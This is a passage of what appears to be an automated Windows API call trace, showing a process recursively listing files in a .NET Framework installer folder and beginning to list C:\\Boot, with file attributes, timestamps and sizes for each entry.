nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0050.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.960] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260840 [0050.961] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.961] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0050.961] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0050.961] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0050.961] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0050.961] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0050.962] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0050.962] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0050.962] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0050.962] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0050.962] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0050.962] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0050.962] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0050.962] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0050.962] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0050.963] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0050.963] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0050.963] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0050.963] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.963] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0050.964] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0050.964] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0050.964] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0050.964] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0050.964] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0050.964] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0050.964] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0050.964] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0050.965] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0050.965] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0050.965] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0050.965] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0050.965] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0050.965] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0050.965] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0050.965] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0050.965] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0050.966] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0050.966] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0050.966] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0050.966] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0050.966] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0050.966] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0050.966] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0050.966] FindClose (in: hFindFile=0x42602c0 | out: hFindFile=0x42602c0) returned 1 [0050.966] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0050.967] FindNextFileW (in: hFindFile=0x4260480, lpFindFileData=0x38cfcf8 | out: lpFindFileData=0x38cfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0050.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.968] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, 